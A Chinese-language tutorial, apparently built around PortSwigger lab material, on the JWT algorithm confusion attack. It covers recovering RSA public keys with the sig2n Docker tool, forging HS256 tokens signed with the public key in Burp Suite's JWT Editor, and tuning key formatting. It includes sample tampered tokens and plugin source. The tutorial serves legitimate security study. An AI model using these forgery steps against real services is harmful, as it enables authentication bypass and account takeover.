推荐先阅读文章:什么是 JWT?
什么是算法混淆?#
在许多早期或设计不当的 JWT 库中,验证签名的 API 往往只设计了一个,比如:
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
// Use the provided key as an HMAC secret key
}
}如果开发者不知道该 API 内部还会进行算法选择,则可能写出这样的代码:
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);攻击者只需修改 alg 参数的值,就会使得对称签名算法与非对称签名算法在验签过程中都使用同一把密钥(这就是算法混淆),而:
- 非对称签名算法的验签密钥(公钥)往往是公开的
- 对称签名算法中的签名与验签都使用同一把密钥
导致攻击者可以用公钥签发采用对称签名算法的 JWT。
注意加粗词哦!
如何利用?#
核心:
- 将验签算法,从非对称签名算法切换成对称签名算法
- 找到公钥,用公钥签发 JWT
步骤一:找公钥#
服务器有时会将 JWK Set 存放于一些标准端点中,比如:
/jwks.json/.well-known/jwks.json
即使密钥未公开,你也能够从一对现有的 JWT 中提取出公钥:
docker run --rm -it portswigger/sig2n <token1> <token2>你需要下载 Docker,首次运行此命令时,它会自动从 Docker Hub 拉取镜像(可能需要几分钟)。
此工具会使用你提供的一对 JWT,计算一个或多个可能的 n 值,最终输出一个:
- 采用 X.509 格式的经过 Base64 编码的 PEM 密钥
- 采用 PKCS1 格式的经过 Base64 编码的 PEM 密钥
示例:
docker run --rm -it portswigger/sig2n eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc5MjMxMjYzNywic3ViIjoid2llbmVyIn0.j1EdNdPzjVMArujvTq2gLMuWcf3YLcF5aL4tzkR1EM818F-oNmgs_jJMVsvmg1Qv-RlyssOBX7dzNXJd5bLZDJotTw-2xxteiEB94nst7AuQx_r8D3vlrq_FJAAnHr7lmTIxb48pMWQKIpOFl0DKKVDu9tdlha0obkpgr5K5QMYeQGUOZQf4gqdeLeziAhNUuUBOWS-q0Hb0t5ILsLR36W0Qg7QnKhCp21RywPov7aGBWareuNkyw1brP4DT0Jx4ib_0iUTH2LfdZfVG17Gobp4cIsFJC6sCQGozFkSdEDm-NhWe0_3uRGGuL92sfCn2qhMwi2_b4Z754skzfUnSeA eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc5MjMxMjU5Miwic3ViIjoid2llbmVyIn0.jbeLdhQb2h68f4yk5VXNRkzUu3raC6DMX0e0t8FcDPsxIjm1mT5uRRcWOAcAawFXONOVMSHUDNX9X__I4LRqEjH0o9aovc4iFNlJF5vZY-MhPnNrMPbbjXmtHKUKIVzGQ-QOkitEKJEdbqTZdltJ-TQvOGRJahsMeUz0WOCUjnTy-1I3D39chQeri5M5xHN69fi_HTo17aj3W9mZQaW5TcNZkI7JZJgv94GHF5WMto7j6GMX1um_FRy7IN-E2AdveVKtw9555NZ-A1r6BMFnDC9K4I3YcwUziPB_zKQq05U9BSIBZge9UY14ZvKqPd_-O6Tu7dj60-BkQE4-ZDdInA
Running command: python3 jwt_forgery.py <token1> <token2>
Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxOVZWaHdGS0dkTzF2VDlpZVRQYQpWRHVWaW1LTWdja3NrVUVsRmlYZG1FdVBLWERzQ0tsM0ZmempkYU5rNm9QZ2V1cG5sTkRQRGhFL3VSNXhYSlFwCmhWRFBNS2w2OHUwMWU0UDJidktvRlBvTjFySndzcy9WaEd1OE5aeWVobFdSSkdnMThVRVRYcUZsaVQ1N3RSTk4KdTIvRmhkQTVFcFkvQmlNYVF3M1RRYlprREhZNGw2MzV2ZWhnZ2s2bXlsd0JHVFkxN0x2aG9GNnF0ak1ZTkg1MApPbUVBZTlNL2o3dmRrazFGTG5FalZEZXBnM1BnVUt3bUw5OTBuZXJnVzErRU1FaHIwdE9NMmFGK293Z1NGQnkxCmFhZmhMMVRTSXpjbVJJam4zakNNdXJYOEFTZ3R0Ym5VQVdBRU9rWXNRMllDclN5MkZ3SXJiSHA3Z0VHTVNmd3AKVHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc5MjM5NTUxMCwgInN1YiI6ICJ3aWVuZXIifQ.GNThIoVR-O8syYPL_DUJgkNjEzmf-fl3hNahBRn9NCQ
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXE5VlZod0ZLR2RPMXZUOWllVFBhVkR1VmltS01nY2tza1VFbEZpWGRtRXVQS1hEc0NLbDMKRmZ6amRhTms2b1BnZXVwbmxORFBEaEUvdVI1eFhKUXBoVkRQTUtsNjh1MDFlNFAyYnZLb0ZQb04xckp3c3MvVgpoR3U4Tlp5ZWhsV1JKR2cxOFVFVFhxRmxpVDU3dFJOTnUyL0ZoZEE1RXBZL0JpTWFRdzNUUWJaa0RIWTRsNjM1CnZlaGdnazZteWx3QkdUWTE3THZob0Y2cXRqTVlOSDUwT21FQWU5TS9qN3Zka2sxRkxuRWpWRGVwZzNQZ1VLd20KTDk5MG5lcmdXMStFTUVocjB0T00yYUYrb3dnU0ZCeTFhYWZoTDFUU0l6Y21SSWpuM2pDTXVyWDhBU2d0dGJuVQpBV0FFT2tZc1EyWUNyU3kyRndJcmJIcDdnRUdNU2Z3cFR3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc5MjM5NTUxMCwgInN1YiI6ICJ3aWVuZXIifQ.HG7VI-xZ89VgVd7fteat3r8mL0Yw2KjJ1RHwbE3uFb8步骤二:公钥格式确认#
公钥有多种存储格式:
- JWK
- PEM
你选择使用的格式需要和验证端统一。而且,即使格式一致了,其内部内容包括不可打印字符(比如换行符)也需要统一。
HMAC 对密钥的每一个字节都敏感。
假设你获得了 JWK Set:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
"alg": "RS256",
"n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
}
]
}提取其中的 JWK:
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
"alg": "RS256",
"n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
}在 JWT Editor 面板中,选择“New RSA Key”(因为验签算法是 RS256),并将 JWK 粘贴进去(如果获得的是 PEM 格式的公钥,则在“Format”处选择 PEM 后再进行复制):

JWT Editor 是 Burp Suite 中的一个插件,其介绍请看这篇文章。
点击“OK”之后就会新建一个密钥:

步骤三:改算法 + 签名#
接下来就是去 Header 中,修改 alg 算法为对称签名算法,并对进行重新签名操作得到 Signature。
这一过程通过 JWT Editor 插件能很方便地实现。
点击“Attack”,选择“HMAC Key Confusion”:

在新出现的窗口中,选择刚刚创建的公钥:

你可以尝试多个对称签名算法(毕竟你不知道服务器端会使用哪个),并且 Options 选项支持你调整公钥内部内容:
- 换行符风格
-----END PUBLIC KEY-----后是否还需要换行符(trailing newline)
使得公钥在内容以及格式上与验证方对齐。

选择完毕后,点“OK”。
此时你无需再手动 Sign,Signature 已经帮你算好了。
坑点#
不难发现,使用“Attack → HMAC Key Confusion”实现算法混淆攻击,过程中并不会让你选择密钥的格式。
根据插件对应部分的源码:
public class HmacKeyConfusionAttack {
public static JWS attack(JWS jws, JWKKey key, JWSAlgorithm algorithm, NewLineStrategy newLineStrategy) throws PemException, UnsupportedKeyException, SigningException {
String publicKeyAsPem = PemKeyFactory.jwkToPemKey(key.getJWK().toPublicJWK()).toString(newLineStrategy);
byte[] pemBytes = publicKeyAsPem.getBytes();
// Build a new header for the chosen HMAC algorithm
JWSHeader signingInfo = new JWSHeader.Builder(algorithm).type(JWT).build();
// Construct a HMAC signing key from the PEM bytes
JWKKey signingKey = JWKKeyFactory.from(new OctetSequenceKey.Builder((pemBytes)).build());
// Sign and return the new JWS
Base64URL header = signingInfo.toBase64URL();
Base64URL payload = jws.claims().encoded();
return JWSFactory.sign(signingKey, header, payload, signingInfo);
}
}有一个密钥格式转换的过程,即最终的签名操作,用的都是 PEM 格式的公钥。
如果服务器采用的是 JWK 格式的公钥,则可能导致攻击失败。
因此,你还需要掌握手动实现算法混淆攻击。
由于 HMAC Key Confusion 支持 PEM,因此只需要掌握 JWK 的相关步骤。
假设你已经获得了 JWK 格式的公钥:
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
"alg": "RS256",
"n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
}此时,你需要考虑:
- 换行符(
%0a%0d还是%0d还是没有换行符) - 键值对之间,逗号分隔之后还有没有空格?(
{"kty": "RSA","e": "AQAB",……}还是{"kty": "RSA", "e": "AQAB",……}) - 键值对中,冒号之后是否还有空格?(
"kty": "RSA"还是"kty":"RSA")
可能需要多次尝试。
假设你确定好内容了,则将其放入到 Burp Suite 的 Decode 模块中,并对其进行 base64 编码:

随后进入 JWT Editor 模块,选择“New Symmetric Key”:

点击“Generate”之后会生成一个对称密钥:

将其 k 的值修改为之前得到的 base64 编码后的结果:
{
"kty": "oct",
"kid": "4af1bf68-fe55-46ce-b150-0bed3361e7c0",
"k": "ewogICJrdHkiOiAiUlNBIiwKICAiZSI6ICJBUUFCIiwKICAidXNlIjogInNpZyIsCiAgImtpZCI6ICJjZDNkZTA0ZC1kZDRkLTQ4MjEtODg1Ny0zZjdlZWQ5ZTNjN2MiLAogICJhbGciOiAiUlMyNTYiLAogICJuIjogIm0wYjJ0SzFDU1p0NTI1ZDM3WUNNRndJSFo0Q2lkS2o4dEQ0WTNWbFI2bExMN1RiM2RXY0xLVFd0aUExLWhkc2o5cU9uUTYtX2N4aGctWUVqQTM0VTJJODFfX3N4cjRETURJTDJ4MVNlUUtJbTNZQnVjbi1OR3Fac2M1WFlMdk5Hak96UmNMMTRnTV9NMnVfdlZpcWE4NEpPbXllczF0cEZxOTV1T1hnSlJYQmllUzBYbHNzYm1hTEtmMDNnU1BHUHAyUmRMTG5YbTB5aU9qVjZ1cWtPdk9pS1V2MFlqNHh0bmswSzV4QkdIY0VpM2oyRmZ3X3ZSeXgwUGpiTnNpbmt6Tkl6TUJyeHRqUDN0cUIzNTc1bERBWGJoNm5kTHZEN2M2X2NNYlh3c1BidzJLeU5wQXhLandvaHpQN01vWHo3VkxmQzhiTlkyNnY1M0JUbDljME5GdyIKfQ=="
}随后点击“OK”。
接下来,对 JWT Header 中的 alg 参数进行更改,更改为对称签名算法。
同样,你可能需要尝试多种不同的对称签名算法,毕竟你不知道服务器端会使用哪个。
随后,通过 Sign,选择刚刚生成的对称密钥来进行签名操作:
